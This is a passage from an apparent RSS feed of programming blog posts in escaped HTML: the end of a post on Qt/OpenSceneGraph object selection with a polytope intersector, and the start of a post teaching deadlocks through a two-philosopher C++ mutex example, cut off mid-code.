&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="kt"&gt;double&lt;/span&gt; &lt;span class="n"&gt;xMin&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;selectionRectangle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;left&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="kt"&gt;double&lt;/span&gt; &lt;span class="n"&gt;xMax&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;selectionRectangle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;right&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="kt"&gt;double&lt;/span&gt; &lt;span class="n"&gt;yMin&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;widgetHeight&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;selectionRectangle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;bottom&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="kt"&gt;double&lt;/span&gt; &lt;span class="n"&gt;yMax&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;widgetHeight&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;selectionRectangle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;top&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;osgUtil&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;PolytopeIntersector&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;polytopeIntersector&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;      &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;osgUtil&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;PolytopeIntersector&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;osgUtil&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;PolytopeIntersector&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;WINDOW&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;                                          &lt;span class="n"&gt;xMin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;yMin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;                                          &lt;span class="n"&gt;xMax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;yMax&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="c1"&gt;// This limits the amount of intersections that are reported by the
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="c1"&gt;// polytope intersector. Using this setting, a single drawable will
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="c1"&gt;// appear at most once while calculating intersections. This is the
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="c1"&gt;// preferred and expected behaviour.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;polytopeIntersector&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;setIntersectionLimit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;osgUtil&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Intersector&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;LIMIT_ONE_PER_DRAWABLE&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;osgUtil&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;IntersectionVisitor&lt;/span&gt; &lt;span class="n"&gt;iv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;polytopeIntersector&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;viewIndex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;viewIndex&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;viewer_&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;getNumViews&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="n"&gt;viewIndex&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="n"&gt;osgViewer&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;View&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;view&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;viewer_&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;getView&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;viewIndex&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;view&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;      &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;runtime_error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s"&gt;"Unable to obtain valid view for selection processing"&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="n"&gt;osg&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Camera&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;camera&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;view&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;getCamera&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;camera&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;      &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;runtime_error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s"&gt;"Unable to obtain valid camera for selection processing"&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="n"&gt;camera&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;accept&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;iv&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;polytopeIntersector&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;containsIntersections&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;      &lt;span class="k"&gt;continue&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="k"&gt;auto&lt;/span&gt; &lt;span class="n"&gt;intersections&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;polytopeIntersector&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;getIntersections&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="k"&gt;auto&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nl"&gt;intersection&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;intersections&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;      &lt;span class="n"&gt;qDebug&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;"Selected a drawable:"&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;QString&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;fromStdString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;intersection&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;drawable&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;getName&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Note that the polytope intersector is applied to &lt;em&gt;all&lt;/em&gt; views of the viewer widget. In a composite
widget with multiple views, this results in objects being reported multiple times. The easiest way
to avoid this is to use an &lt;code&gt;std::set&lt;/code&gt; that stores the intersected objects.&lt;/p&gt;
&lt;h1 id="code-code-code"&gt;Code, code, code&lt;/h1&gt;
&lt;p&gt;The code is available in a &lt;a href="http://github.com/Pseudomanifold/QtOSG"&gt;git repository&lt;/a&gt;. I welcome any pull
requests.&lt;/p&gt;</description><author>Ecce Homology on Bastian Grossenbacher Rieck's personal homepage</author><pubDate>Mon, 27 Oct 2014 20:48:08 GMT</pubDate><guid isPermaLink="true">https://bastian.rieck.me/blog/2014/selections_qt_osg/</guid></item><item><title>Concurrency: Deadlocks</title><link>https://whackylabs.com/concurrency/2014/10/27/concurrency-deadlocks/</link><description>&lt;p&gt;We’ve explored so much with our concurrency experiments and yet there’s
one fundamental topic we haven’t touched so far. Deadlocks. Whenever we
think of concurrency, we can’t help thinking of locks for protecting
shared resources, managing synchronization and what not. But, as Uncle
Ben has said, with great power comes great responsibility, similarly
with great locks comes great deadlocks.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Deadlocks with multiple locks&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;In the classical concurrency theory, deadlocks happen when more than one
thread needs mutual exclusivity over more than one shared resource.
There’s a classic &lt;a href="http://en.wikipedia.org/wiki/Dining_philosophers_problem"&gt;Dining Philosophers
problem&lt;/a&gt; that
demonstrates this deadlock situation.&lt;/p&gt;

&lt;p&gt;Here’s the copy paste from the &lt;a href="http://en.wikipedia.org/wiki/Dining_philosophers_problem"&gt;wikipedia
page&lt;/a&gt;:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Five silent philosophers sit at a round table with bowls of spaghetti.
Forks are placed between each pair of adjacent philosophers.&lt;/p&gt;

  &lt;p&gt;Each philosopher must alternately think and eat. However, a
philosopher can only eat spaghetti when he has both left and right
forks. Each fork can be held by only one philosopher and so a
philosopher can use the fork only if it’s not being used by another
philosopher. After he finishes eating, he needs to put down both forks
so they become available to others. A philosopher can grab the fork on
his right or the one on his left as they become available, but can’t
start eating before getting both of them.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;There are many problems hidden inside this one problem, but lets focus
on the situation where every philosopher gets super hungry has acquired
the fork on their left side and waiting for someone to release a fork
before they can begin eating. But since, no philosopher is willing to
release their fork, we have a deadlock situation.&lt;/p&gt;

&lt;p&gt;Let’s reduce this problem to just two philosophers dining. Here’s a
simple implementation&lt;/p&gt;

&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="cp"&gt;#define MAX_FORKS 2
&lt;/span&gt;
&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;mutex&lt;/span&gt; &lt;span class="n"&gt;fork&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;MAX_FORKS&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Philosopher&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="nl"&gt;private:&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt; &lt;span class="n"&gt;name_&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;holdForkIndex_&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;Think&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;this_thread&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;sleep_for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;chrono&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;seconds&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nl"&gt;public:&lt;/span&gt;
    &lt;span class="n"&gt;Philosopher&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;startForkIndex&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;name_&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="n"&gt;holdForkIndex_&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;startForkIndex&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;{}&lt;/span&gt;

    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;Eat&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;name_&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;": Begin eating"&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;Think&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;lock_guard&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;mutex&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;locka&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fork&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;holdForkIndex_&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
        &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;name_&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;": Hold fork: "&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;holdForkIndex_&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;holdForkIndex_&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;holdForkIndex_&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;MAX_FORKS&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;Think&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

        &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;lock_guard&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;mutex&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;lockb&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fork&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;holdForkIndex_&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
        &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;name_&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;": Hold fork: "&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;holdForkIndex_&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;holdForkIndex_&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;holdForkIndex_&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;MAX_FORKS&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

        &lt;span class="c1"&gt;// eating&lt;/span&gt;
        &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;this_thread&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;sleep_for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;chrono&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;microseconds&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
        &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;name_&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;" End eating"&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;DiningPhilosophers&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;Philosopher&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Socrates"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;Philosopher&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Nietzsche"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="kr"&gt;thread&lt;/span&gt; &lt;span class="n"&gt;sEat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;Philosopher&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Eat&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="kr"&gt;thread&lt;/span&gt; &lt;span class="n"&gt;nEat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;Philosopher&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Eat&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="n"&gt;sEat&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="n"&gt;nEat&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="cm"&gt;/* this is the main() */&lt;/span&gt;
&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;Deadlocks_main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
